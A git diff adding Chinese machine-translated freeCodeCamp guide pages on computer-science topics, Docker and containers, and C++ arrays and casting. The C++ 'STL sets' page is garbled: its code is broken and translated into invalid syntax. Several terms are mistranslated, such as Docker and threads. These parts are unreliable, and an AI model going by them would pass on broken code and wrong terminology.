\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/np-completeness/index.md b/client/src/guide/chinese/computer-science/np-completeness/index.md
new file mode 100644
index 0000000000..e8a0515513
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/np-completeness/index.md
@@ -0,0 +1,21 @@
+---
+title: Np Completeness
+localeTitle: Np完整性
+---
+## Np完整性
+
+NP-Complete是某些类型问题的属性。如果问题是NP-Complete，则意味着没有有效的（多项式）算法来快速找到解决方案。但是，如果给我们一个解决方案，我们可以快速（在多项式时间内）验证它是否正确。
+
+更具体一点，让我们检查一个已知的NP-Complete问题 - 子集和问题。假设我们有一组整数{-7，-3，-2,5,8}。我们想要找到这些整数的子集，其元素总和为0.我们怎么能这样做？
+
+一种方法是简单地枚举所有可能的子集并检查它们的元素是否总和为0.这将是指数级复杂的。
+
+事实上，没有更好的已知算法，它可以改善指数时间限制。这就是为什么它被归类为NP-Complete问题。
+
+除了已知为NP-Complete的子集和问题之外，存在许多这样的已知问题。如果找到一个有效的算法，则意味着我们可以为所有NP-Complete问题设计一个有效的算法。
+
+如果你有一个可以被证明是NP完全的问题，你应该停止尝试为它找到更有效的算法，而是使用启发式方法来解决大多数测试用例的问题，或者解决问题的近似版本。或者也许检查你正在解决的问题，看看它是否不能简化为不完全NP的东西。
+
+#### 更多信息：
+
+https://www.ics.uci.edu/~eppstein/161/960312.html https://stackoverflow.com/questions/210829/what-is-an-np-complete-in-computer-science
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/parallel-computing/index.md b/client/src/guide/chinese/computer-science/parallel-computing/index.md
new file mode 100644
index 0000000000..5fe3384385
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/parallel-computing/index.md
@@ -0,0 +1,11 @@
+---
+title: Parallel Computing
+localeTitle: 并行计算
+---
+## 并行计算
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/ports/index.md b/client/src/guide/chinese/computer-science/ports/index.md
new file mode 100644
index 0000000000..82c6fa4013
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/ports/index.md
@@ -0,0 +1,28 @@
+---
+title: Ports
+localeTitle: 端口
+---
+## 端口
+
+端口是互联网协议套件中操作系统的通信端点。服务名称和端口号用于区分通过传输协议（如TCP，UDP，DCCP和SCTP）运行的不同服务。 当计算机从另一个源接收消息时，端口将帮助确定哪个进程正在期望该消息。
+
+端口始终与主机的IP地址和通信的协议类型相关，从而完成通信会话的目的地或始发网络地址。操作系统中有65536个可用端口。通过16位数字（通常称为端口号）为每个地址和协议标识端口。例如，地址可以是“协议：TCP，IP地址：1.2.3.4，端口号：80”，当从上下文中获知协议时，可以写入1.2.3.4:80。 约定使用某些端口号来标识特定服务，例如：
+
+*   20 - FTP
+*   21 - FTP
+*   22 - SSH
+*   23 - Telnet
+*   25 - SMTP
+*   42 - 名称服务器
+*   53 - 域名系统（DNS）
+*   80 - http
+*   110 - pop3
+*   143 - imap
+*   194 - irc
+*   443 - https
+
+### 来源
+
+*   [iana.org](https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml)
+*   [维基百科](https://en.wikipedia.org/index.php?q=aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUG9ydF8oY29tcHV0ZXJfbmV0d29ya2luZyk)
+*   [Webopedia](https://www.webopedia.com/quick_ref/portnumbers.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/quantum-computing/index.md b/client/src/guide/chinese/computer-science/quantum-computing/index.md
new file mode 100644
index 0000000000..287239c0a6
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/quantum-computing/index.md
@@ -0,0 +1,33 @@
+---
+title: Quantum Computing
+localeTitle: 量子计算
+---
+## 量子计算
+
+量子计算研究计算系统（量子计算机），其直接利用量子力学现象（例如叠加和纠缠）来对数据执行操作。
+
+### 什么是量子计算？
+
+自然 - 包括像咖啡因这样的分子 - 遵循量子力学定律，这是物理学的一个分支，探索物理世界如何在最基本的层面上运作。在这个级别上，粒子以奇怪的方式表现，同时呈现多个状态，并与非常远的其他粒子相互作用。量子计算利用这些量子现象以一种新颖且有前途的方式处理信息。
+
+量子计算是量子计算系统的研究，它利用量子力学现象，如纠缠和叠加。经典的二进制数字电子计算机（如您自己的PC！）基于晶体管，以二进制数字（位）存储数据，每个数据可以处于两种状态（0或1）之一。另一方面，量子计算机将数据存储到量子位中，这可以是状态的叠加。
+
+因为量子计算机能够利用这些量子力学性质，所以理论上大规模量子计算机能够比传统计算机更快地解决某些问题。
+
+### 什么是经典电脑？
+
+我们今天使用的计算机被称为经典计算机。几十年来，他们一直是世界上的推动力量 - 推动从医疗保健到购物方式的一切。但是，经典计算机无法解决某些问题。考虑一杯咖啡中的咖啡因分子。令人惊讶的是，它足够复杂，没有任何存在或可以构建的计算机能够模拟咖啡因并完全理解其详细的结构和属性。这是量子有可能解决的挑战类型。
+
+### 量子计算机如何工作？
+
+经典计算机以比特编码信息。每个位的值可以是1或0.这些1和0用作最终驱动计算机功能的开/关开关。另一方面，量子计算机基于量子比特，它们根据量子物理学的两个关键原理运行：叠加和纠缠。叠加意味着每个量子位可以同时表示1和0。纠缠意味着叠加的量子比特可以相互关联;也就是说，一个状态（无论是1还是0）可以取决于另一个状态。使用这两个原则，量子比特可以作为更复杂的开关，使量子计算机能够以允许它们解决使用当今计算机难以处理的难题的方式运行。
+
+### 量子计算机能做什么？
+
+量子系统可以解释分子和化学相互作用的复杂性，从而发现新的药物和材料。它们可以实现超高效的物流和供应链，例如优化在假日季节交付的车队运营。它们可以帮助我们找到新的方法来模拟财务数据，并隔离关键的全球风险因素，以实现更好的投资。而且它们可能会使机器学习等人工智能方面更加强大。
+
+### 更多资源
+
+[量子计算机解释 - 人类技术的局限| Kurzgesagt - 坚果壳](https://www.youtube.com/watch?v=JhHMJCUmq28)
+
+[量子计算用一副牌解释Dario Gil，IBM Research](https://www.youtube.com/watch?v=yy6TV9Dntlw)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/quantum-computing/qubits/index.md b/client/src/guide/chinese/computer-science/quantum-computing/qubits/index.md
new file mode 100644
index 0000000000..80f97d8595
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/quantum-computing/qubits/index.md
@@ -0,0 +1,21 @@
+---
+title: Qubits
+localeTitle: 量子位
+---
+## 量子位
+
+Qubit是量子比特的缩写，类似于经典计算机的二进制数字（比特）。它是量子计算机中的基本信息单元，就像二进制数字（0或1）是当今广泛使用的经典计算机中的基本信息单元。
+
+经典位和量子位之间的主要区别在于它们一次可以存在的**状态**量，这直接影响它们可以容纳的信息量。在经典系统中，任何一个位都必须处于一个状态（0）或另一个状态（1）。然而， **量子力学**允许量子比特在两个状态下同时表现。换句话说，每个使用的额外量子位指数增加量子计算机可以处理或保持的信息量。该属性是量子计算的基础。
+
+为了进一步说明这一点，如果你有一个量子比特，你可以同时存储一个“0”和“1”（它对应于总共2个状态或值）。如果你有一个2比特的系统，你可以同时保持**四个**值 - 00,01,10和11.使用3比特的系统，你可以一次保持**8个**值 - 000,001,010,011,100通常，由n-qubits组成的量子系统将能够具有2 ^ n个状态，其比任何经典计算机指数地更强大。
+
+#### 更多信息：
+
+[Ars Technica - 量子计算和Qubits的解释](https://arstechnica.com/science/2010/01/a-tale-of-two-qubits-how-quantum-computers-work)
+
+[维基百科 - Qubits](https://en.wikipedia.org/wiki/Qubit)
+
+[维基百科 - 量子叠加](https://en.wikipedia.org/wiki/Quantum_superposition)
+
+[维基百科上的量子力学](https://en.wikipedia.org/wiki/Quantum_mechanics)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/recursive-descent/index.md b/client/src/guide/chinese/computer-science/recursive-descent/index.md
new file mode 100644
index 0000000000..4dcc163b5b
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/recursive-descent/index.md
@@ -0,0 +1,11 @@
+---
+title: Recursive Descent
+localeTitle: 递归下降
+---
+## 递归下降
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/recursive-descent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/shortest-path-on-a-graph/index.md b/client/src/guide/chinese/computer-science/shortest-path-on-a-graph/index.md
new file mode 100644
index 0000000000..66eed4e0e7
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/shortest-path-on-a-graph/index.md
@@ -0,0 +1,37 @@
+---
+title: Shortest Path on a Graph
+localeTitle: 图上的最短路径
+---
+## 图上的最短路径
+
+在图上找到两点之间的最短路径是数据结构中的常见问题，尤其是在处理优化时。图是由边连接的一系列节点。图形可以被加权（边缘携带值）和方向（边缘具有方向）。
+
+这方面的一些应用是飞行路径优化或[凯文培根6度](https://en.wikipedia.org/wiki/Six_Degrees_of_Kevin_Bacon)
+
+## Dijkstra的算法
+
+这个问题最常见的解决方案是Dijkstra算法，它更新当前节点与其所有邻居之间的最短路径。在更新所有邻居的距离之后，它移动到具有最低距离的节点并且对所有未观察的邻居重复该过程。此过程一直持续到访问整个图形为止。
+
+![代码级别的图像](https://upload.wikimedia.org/wikipedia/commons/5/57/Dijkstra_Animation.gif)
+
+**第0步：**
+
+我们需要设置图表，以便记录所需的值。在任何边缘，我们都有它连接的两个节点之间的距离。在任何节点上，我们与起始节点的距离最短。让我们将每个节点上的值设置为正无穷大，并将起始节点上的值设置为零。
+
+**步骤1：**
+
+查看直接与起始节点相邻的所有节点。连接起始节点和这些相邻节点的边缘所携带的值是到每个相应节点的最短距离。在节点上记录这些距离 - 覆盖无穷大 - 并且还跨越节点，这意味着已找到它们的最短路径。
+
+**第2步：**
+
+选择其中一个已经计算出最短路径的节点，我们称之为我们的枢轴。查看与其相邻的节点（我们将这些称为目标节点）以及将它们分开的距离。对于每个目标节点：如果pivot中的值加上连接它的边值总计小于目标节点的值，则更新其值，因为找到了新的较短路径。如果已探索到此目标节点的所有路由，则可以将其划掉。
+
+**第3步：**
+
+重复步骤2，直到所有节点都被划掉。我们现在有一个图表，其中任何节点中保存的值将是从起始节点到它的最短距离。
+
+#### 更多信息：
+
+[更多关于Dijkstra的算法](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm)
+
+[其他最短路径算法](https://en.wikipedia.org/wiki/Shortest_path_problem#Algorithms)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/threads/index.md b/client/src/guide/chinese/computer-science/threads/index.md
new file mode 100644
index 0000000000..44f26351b2
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/threads/index.md
@@ -0,0 +1,40 @@
+---
+title: Threads
+localeTitle: 主题
+---
+## 主题
+
+给操作系统执行的一系列程序指令。它是可以执行的最小同步序列。作为同步，线程中的指令是线性的并且一个接一个地执行。如果程序具有多个线程，则整个程序可以是异步的，因为这些线程彼此独立地执行它们自己的指令（同时）。
+
+线程是操作系统用于将CPU表示为程序的抽象。机器代码或汇编语言中没有真正的线程概念。
+
+线程是编程的一种方式，可以同时执行多个任务。
+
+应该做的一个共同点是线程和进程之间的区别。一个线程可以说是一个过程的孩子。  
+在进程的上下文中可能存在任意数量的子线程。线程可以通过增加用于任务的CPU百分比来提高程序的执行速度。  
+请注意，大幅增加程序中的线程数可能会占用大量CPU资源，如果使用100％的CPU，则线程将不会影响执行速度。
+
+![流程图中的线程](https://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Multithreaded_process.svg/440px-Multithreaded_process.svg.png)
+
+假设您打开了多个程序 - 每个程序的CPU时间份额由与该程序关联的一个或多个线程表示。当操作系统的**调度程序**决定程序A运行时，操作系统将程序A的线程中的指令（或更准确，多路复用）提供给CPU，然后CPU运行这些指令。
+
+某个程序的线程包含该程序的一些或全部编译指令，以及CPU执行这些指令所需的一些信息。
+
+**多线程**是一种编程概念，程序在执行期间生成多个线程，以便更快地执行任务。
+
+这是python中一个简单的多线程示例，它通过为每个print语句生成一个单独的线程来打印数字1到10。
+```
+import threading 
+ 
+ def print_number(number): 
+    print(number) 
+ 
+ if __name__ == "__main__": 
+    for i in range(1, 11): 
+        threading.Thread(target=print_number, args=(i,)).start() 
+```
+
+#### 更多信息：
+
+*   [主题（维基百科）](https://en.wikipedia.org/wiki/Thread_(computing))
+*   [了解多线程](http://www.nakov.com/inetjava/lectures/part-1-sockets/InetJava-1.3-Multithreading.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/ubiquitous-computing/index.md b/client/src/guide/chinese/computer-science/ubiquitous-computing/index.md
new file mode 100644
index 0000000000..2fdeea35b3
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/ubiquitous-computing/index.md
@@ -0,0 +1,20 @@
+---
+title: Ubiquitous Computing
+localeTitle: 普适计算
+---
+## 普适计算
+
+无处不在的计算这个术语是由Mark Weiser在1988年引入的。他写了几篇论文，描述了他对未来技术嵌入环境和日常物品的看法。
+
+无处不在的计算的一个主要思想是，这些嵌入式设备以一种无形的方式相互通信和周围环境，以便它们能够在我们的日常生活中支持我们，而不会被人注意到。
+
+无处不在的计算通常被称为普适计算或平静计算，因为它是世界上所有嵌入传感器的东西，因此我们周围的环境可以根据我们的所有需求和要求进行自我配置，而无需我们的任何输入或确认。
+
+无处不在的技术的一个着名例子是智能冰箱，它知道你什么时候牛奶不足。它会联系您当地的超市，以便在下一批杂货中添加牛奶。智能冰箱还可以根据其中的成分为您提供食谱创意。
+
+#### 更多信息：
+
+*   [TechTarget上的普适计算](http://internetofthingsagenda.techtarget.com/definition/pervasive-computing-ubiquitous-computing)
+*   [Techopedia上的无所不在的计算](https://www.techopedia.com/definition/22702/ubiquitous-computing)
+*   [关于无处不在的计算需要了解的7件事](http://www.monitis.com/blog/top-7-things-you-need-to-know-about-ubiquitous-computing/)
+*   [YouTube视频：玻璃制造日](https://youtu.be/jZkHpNnXLB0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/what-is-an-api/index.md b/client/src/guide/chinese/computer-science/what-is-an-api/index.md
new file mode 100644
index 0000000000..60b0296da4
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/what-is-an-api/index.md
@@ -0,0 +1,57 @@
+---
+title: What is an API
+localeTitle: 什么是API
+---
+## 什么是API？
+
+API代表应用程序编程接口。 API隐藏了开发人员的复杂性，将系统扩展到合作伙伴，组织代码以及使组件可重用。不要担心AP，只关注I.API是一个接口。您始终使用接口。计算机操作系统是一个接口。电梯中的按钮是一个界面。汽车中的油门踏板是一个接口。
+
+界面位于复杂系统的顶部并简化了某些任务，中间人可以使您无需了解引擎盖下发生的所有细节。 Web API也是同样的事情。它位于Twitter或YouTube等Web服务之上，可以为您简化某些任务。它将您的操作转换为另一端的计算机系统的技术细节。
+
+如果您使用面向对象的语言（如Java或C ++）进行编程，则API与类的概念非常相似。当我们在一个对象上调用一个方法（比如`.toString()` ）时，我们并不关心对象是如何产生结果的，我们所关心的只是我们最后得到的字符串。对API的调用以相同的方式工作。例如，当我们调用Facebook API来检索用户的个人资料图片时，我们不关心如何从服务器检索信息。我们只是向API发出请求，让它处理所有复杂的检索逻辑，并在最后得到我们的照片。
+
+## 为什么API有用？
+
+访问API通常意味着可以访问大量有组织的数据。该数据的网守给予开发人员许可（以_API密钥_的形式）来查询服务器以获取信息。如果请求成功，服务器将响应一条可能如下所示的消息：
+
+```javascript
+{ 
+  "coord": { 
+    "lon":139, 
+    "lat":35 
+  }, 
+  "wind": { 
+    "speed":7.31, 
+    "deg":187.002 
+  }, 
+  "rain": { 
+    "3h":0 
+  }, 
+  "clouds": { 
+    "all":92 
+  } 
+ } 
+```
+
+资料来源： [Open Weather API](https://openweathermap.org/current)
+
+在上面的示例中，开发人员以特定的纬度和经度请求当前天气，并且服务器使用_JSON对象_响应该位置的风，雨和云。您每天使用的服务都有大量的请求和响应周期。
+
+**以下是适合初学者的十大API**
+
+1.  Dropbox：https：//www.dropbox.com/developers
+2.  Google地图：https：//developers.google.com/maps/web/
+3.  Twitter：https：//dev.twitter.com/docs
+4.  YouTube：https：//developers.google.com/youtube/v3/getting-started
+5.  Soundcloud：http：//developers.soundcloud.com/docs/api/guide#playing
+6.  条纹：https：//stripe.com/docs/tutorials/checkout
+7.  Instagram：http：//instagram.com/developer/
+8.  Twilio：https：//www.twilio.com/docs
+9.  Yelp：http：//www.yelp.com/developers/getting\_started
+10.  Facebook：https：//developers.facebook.com/docs/facebook-login/login-flow-for-web
+
+#### 更多信息：
+
+*   [非程序员的API](https://schoolofdata.org/2013/11/18/web-apis-for-non-programmers/)
+*   [维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)
+*   [介质](https://medium.com/girl-geeks/top-10-apis-for-beginners-4d3c43be9386)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/what-is-an-sdk/index.md b/client/src/guide/chinese/computer-science/what-is-an-sdk/index.md
new file mode 100644
index 0000000000..27832040ca
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/what-is-an-sdk/index.md
@@ -0,0 +1,15 @@
+---
+title: What is an SDK
+localeTitle: 什么是SDK
+---
+## 什么是SDK
+
+软件开发工具包（SDK）是一组工具和库，可用于为特定软件包创建应用程序。
+
+某些SDK对于开发特定于平台的应用程序至关重要。例如，在Java平台上开发Android应用程序需要Java开发工具包，适用于iOS应用程序的iOS应用程序，以及适用于.NET Framework SDK的通用Windows平台。
+
+还有一些SDK安装在应用程序中，以提供有关活动的分析和数据。突出的例子包括谷歌和Facebook。
+
+它可以是以一些库的形式实现一个或多个应用程序编程接口（API）以与特定编程语言接口或包括可与特定嵌入式系统通信的复杂硬件一样简单的事情。
+
+常用工具包括调试工具和其他实用程序，通常在集成开发环境（IDE）中提供。 SDK还经常包含示例代码和支持技术说明或其他支持文档，以帮助阐明主要参考资料所提出的要点。
\ No newline at end of file
diff --git a/client/src/guide/chinese/containers/docker/creating-a-new-container/index.md b/client/src/guide/chinese/containers/docker/creating-a-new-container/index.md
new file mode 100644
index 0000000000..4f8504fc2e
--- /dev/null
+++ b/client/src/guide/chinese/containers/docker/creating-a-new-container/index.md
@@ -0,0 +1,18 @@
+---
+title: Creating a new container
+localeTitle: 创建一个新容器
+---
+使用Docker CLI创建容器
+
+```yaml
+docker create [OPTIONS] IMAGE [COMMAND] [ARG...] 
+```
+
+# 例子
+
+创建并启动容器
+
+```sh
+$ docker create -t -i fedora bash 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/containers/docker/index.md b/client/src/guide/chinese/containers/docker/index.md
new file mode 100644
index 0000000000..aa09ed1194
--- /dev/null
+++ b/client/src/guide/chinese/containers/docker/index.md
@@ -0,0 +1,36 @@
+---
+title: Docker
+localeTitle: 搬运工人
+---
+## 搬运工人
+
+[Docker](https://www.docker.com/)是一个广泛使用的容器平台，可用于Linux，Windows和Mac，以及AWS和Azure等云提供商。
+
+一个常见的用例是将应用程序及其所有要求打包到容器中。然后可以在开发期间使用该容器，将其传递到质量保证/测试，以及生产/操作。这消除了“在我的机器上工作”的心态，因为容器实际上_是_机器，无论它可能运行的是什么实际硬件。
+
+完成设置计算机和安装docker之后，只需运行命令即可测试Docker：
+
+```shell
+$ docker run hello-world 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+```
+
+如果您在本地没有hello-world映像，Docker会自动将其下载到您的计算机上。 您可以通过运行命令列出已下载或创建到您的计算机的映像：
+
+```shell
+$ docker image ls 
+```
+
+[Docker Store](https://hub.docker.com/explore/)包含许多打包到容器中并可以使用的常见应用程序。
+
+## 进一步阅读
+
+*   [Docker文档](https://docs.docker.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/containers/index.md b/client/src/guide/chinese/containers/index.md
new file mode 100644
index 0000000000..b0b7b27e23
--- /dev/null
+++ b/client/src/guide/chinese/containers/index.md
@@ -0,0 +1,53 @@
+---
+title: Containers
+localeTitle: 集装箱
+---
+## 集装箱
+
+容器是解决从一个计算环境移动到另一个计算环境时如何使软件可靠运行的问题的解决方案。这可以是从开发人员的笔记本电脑到测试环境，从登台环境到生产，也可能是从物理机器到私有云或公共云中的虚拟机的数据中心。
+
+换句话说，Container包含整个运行时环境：应用程序及其所有依赖项，库和其他二进制文件，以及运行它所需的配置文件，捆绑到一个包中。通过容纳应用程序平台及其依赖关系，操作系统分发和底层基础架构的差异被抽象掉了。
+
+容器是操作系统级虚拟化 - 一种操作系统功能，其中内核允许存在多个隔离的用户空间实例。从其中运行的程序的角度来看，这种称为容器的实例可能看起来像真正的计算机。
+
+## 虚拟机
+
+VM本质上是对真实计算机的仿真，该计算机执行类似于真实计算机的程序。 VM使用“管理程序”在物理机器上运行。反过来，管理程序可以在主机上运行，​​也可以在“裸机”上运行。
+
+_虚拟机管理程序_是虚拟机运行的软件，固件或硬件。管理程序本身在物理计算机上运行，​​称为“主机”。主机为VM提供资源，包括RAM和CPU。这些资源在VM之间划分，可以根据需要进行分发。因此，如果一个VM运行的资源更多的应用程序，您可能会分配更多的资源，而不是在同一主机上运行的其他VM。
+
+在主机上运行的VM（同样，使用管理程序）通常也称为“客户机”。此客户机包含应用程序以及运行该应用程序所需的任何内容（例如系统二进制文件和库）。它还带有自己的整个虚拟化硬件堆栈，包括虚拟化网络适配器，存储和CPU - 这意味着它还拥有自己的完整客户操作系统。从内部来看，客户机具有自己的专用资源。从外部来看，我们知道它是一个VM - 共享主机提供的资源。
+
+如上所述，来宾计算机可以在托管虚拟机管理程序或裸机虚拟机管理程序上运行。它们之间存在一些重要的差异。
+
+首先，托管虚拟化管理程序在主机的操作系统上运行。例如，运行OSX的计算机可以在该OS之上安装VM（例如VirtualBox或VMware Workstation 8）。 VM无法直接访问硬件，因此必须通过主机操作系统（在我们的例子中是Mac的OSX）。
+
+托管虚拟机管理程序的好处是底层硬件不那么重要。主机的操作系统负责硬件驱动程序而不是管理程序本身，因此被认为具有更多的“硬件兼容性”。另一方面，硬件和管理程序之间的这个附加层会产生更多的资源开销，从而降低VM的性能。
+
+裸机虚拟机管理程序环境通过在主机的硬件上安装和运行来解决性能问题。因为它直接与底层硬件接口，所以它不需要运行主机操作系统。在这种情况下，作为操作系统安装在主机服务器上的第一件事就是管理程序。与托管虚拟机管理程序不同，裸机虚拟机管理程序具有自己的设备驱动程序，可直接与每个组件交互，以执行任何I / O，处理或特定于操作系统的任务。这样可以获得更好的性能，可伸缩性和稳定性。这里的权衡是硬件兼容性有限，因为管理程序只能内置如此多的设备驱动程序。
+
+在讨论了虚拟机管理程序之后，您可能想知道为什么我们在VM和主机之间需要这个额外的“虚拟机管理程序”层。
+
+好吧，由于VM拥有自己的虚拟操作系统，因此虚拟机管理程序在为VM提供管理和执行此客户机操作系统的平台方面发挥着重要作用。它允许主机在作为客户端运行的虚拟机之间共享其资源。
+
+## 容器
+
+与提供硬件虚拟化的VM不同，容器通过抽象“用户空间”来提供操作系统级虚拟化。当我们解开术语容器时，你会明白我的意思。
+
+出于所有意图和目的，容器看起来像VM。例如，它们具有用于处理的私有空间，可以以root身份执行命令，具有专用网络接口和IP地址，允许自定义路由和iptable规则，可以挂载文件系统等。
+
+容器和VM之间的一个重要区别是容器与其他容器_共享_主机系统的内核。
+
+## 管弦乐编曲
+
+生产中有几个容器编排框架：docker-swarm和kubernetes
+
+## 容器提供商列表
+
+Bellow是可以使用的最常用容器供应商的小清单。
+
+*   [搬运工人](https://www.docker.com/)
+*   [Kubernetes](https://kubernetes.io/)
+*   [亚马逊AWS ECS](https://aws.amazon.com/ecs/?nc1=h_ls)
+*   [RKT](https://github.com/rkt/rkt)
+*   [Azure Fabric](https://azure.microsoft.com/en-us/services/service-fabric/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/containers/run-your-first-docker-image/index.md b/client/src/guide/chinese/containers/run-your-first-docker-image/index.md
new file mode 100644
index 0000000000..eebdc6efdb
--- /dev/null
+++ b/client/src/guide/chinese/containers/run-your-first-docker-image/index.md
@@ -0,0 +1,30 @@
+---
+title: Run Your First Docker Image
+localeTitle: 运行你的第一个Docker镜像
+---
+## 运行你的第一个Docker镜像
+
+完成设置计算机和安装docker之后，只需运行命令即可测试Docker：
+
+```shell
+$ docker run hello-world 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+```
+
+如果您在本地没有hello-world映像，Docker会自动将其下载到您的计算机上。 您可以通过运行命令列出已下载或创建到您的计算机的映像：
+
+```shell
+$ docker image ls 
+```
+
+更多信息：
+
+测试Docker安装[文档](https://docs.docker.com/get-started/#test-docker-installation) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/C- STL sets/index.md b/client/src/guide/chinese/cplusplus/C- STL sets/index.md
new file mode 100644
index 0000000000..74ff11f8b3
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/C- STL sets/index.md	
@@ -0,0 +1,23 @@
+InlocaleTitle: undefined
+t在C ++ STL库中生成集合 集合是一种关联容器，其中每个元素必须是唯一的。一旦将元素添加到集合中，就不能修改该元素的值，尽管可以删除并添加该元素的修改值。它们使用红黑树实现。
+
+使用套装的好处
+
+1.  它仅存储唯一值。
+2.  元素的值标识自己。元素的值也是用于标识它的键。
+3.  使用键即元素本身提供快速查找（O（log n））。
+4.  类定义集中有许多内置函数可以简化编程。
+
+例： '''C ++
+
+# 包括
+
+使用命名空间std; int main（） { 组 S;
+
+s.insert（2）; //在集合中插入元素2 s.insert（3）; s.insert（5）; s.insert（2）; //插入相同的元素2 s.insert（6）; for（auto i：s） cout << i <<“”; COUT << s.size（）<< ENDL; //给出集合的大小
+
+s.erase（5）; //从集合中删除元素5 返回0; } “”” 创建一个set对象 '''C ++ 组 S; “””
+
+插入 '''C ++ s.insert（ _值_ be\_inserted）; “””
+
+访问集元素 '''C ++ 组 :: iterator它; for（it = s.begin（）; it！= s.end（）; ++ it） COUT << \*它; “””
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/arrays/index.md b/client/src/guide/chinese/cplusplus/arrays/index.md
new file mode 100644
index 0000000000..0d1b542ffd
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/arrays/index.md
@@ -0,0 +1,42 @@
+---
+title: C++ Arrays
+localeTitle: C ++数组
+---
+## 什么是阵列？
+
+数组是一系列相同数据类型的元素，它们存储在连续的内存位置，可以单独引用。
+
+例如，包含5个称为数字的整数值的数组声明如下：
+
+```C++
+int numbers [5]; 
+```
+
+Initializiation：
+
+```C++
+//Initialization with entries: 
+ int numbers [5] = {1, 2, 3, 4, 5}; 
+ 
+ //Initialization with no values: 
+ int numbers [5] = {}; 
+ 
+ //Initialization with declaration: 
+ int numbers [] = {1, 2, 3, 4, 5}; 
+ //Note that here the number of values defines the size of the array. 
+ //In the examples above, the size was fixed beforehand 
+```
+
+**请注意** ，C ++中的数组在大小上是不可置换的，这意味着一旦声明了大小为5的数组，就无法将其放大或缩小。如果您确实需要具有相同条目的更大阵列，则必须将所有条目复制到更大尺寸的新阵列。
+
+### 访问：
+
+可以通过引用它们在数组中的位置来访问数组中的元素。 （从0开始计数）。  
+例：
+
+```C++
+x = numbers[0]; // = 1. [0] == first position 
+ numbers[2] = 55; // Sets the third position (3) to the new number 55 
+ //numbers[] is now: {1, 2, 55, 4, 5} 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/casting/index.md b/client/src/guide/chinese/cplusplus/casting/index.md
new file mode 100644
index 0000000000..fda45816d8
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/casting/index.md
@@ -0,0 +1,88 @@
+---
+title: Casting
+localeTitle: 铸件
+---
+## 铸件
+
+强制转换是一种特殊操作符，它强制将一种数据类型转换为另一种数据类型
+
+C ++中的转换与C的转换有所不同.C ++使用不同的转换函数。
+
+### 的static\_cast
+
+静态强制转换用于基元和类型重载之间的隐式转换。
+
+### const\_cast会
+
+Const cast可用于抛弃常量。当需要改变常量值时，这很有用。这应该谨慎使用，相反，在使用const-cast的情况下，应该考虑使参数/函数为非const。
+
+Const强制转换也可能导致未定义的行为。 const cast的唯一应用应该是从传递给函数并标记为const的值中删除const-ness。如果值是真正的const，也就是说，它在编译时被标记为const并赋值，则const变量和变量的变异将导致未定义的行为。
+```
+const int y = 10;             // y is set to 10. 
+ const_cast<int &>(y) = 20;    // undefined behaviour. 
+```
+
+### 的dynamic\_cast
+
+动态强制转换用于在其类层次结构中转换对象（对于父对象，从父对象到兄弟对象）。动态强制转换只能在多态类上调用。因此，在这种情况下， `MyClass`的原始类必须具有虚拟成员，该成员以虚拟析构函数的形式存在。
+
+如果动态转换失败，它将返回`nullptr` 。动态强制转换在运行时确定对象类型时可能很有用。但是，应该注意的是，动态强制转换不是免费的，并且在某些情况下，其他技术可能在运行时确定类类型时更有效。
+
+### reinterpret\_cast的
+
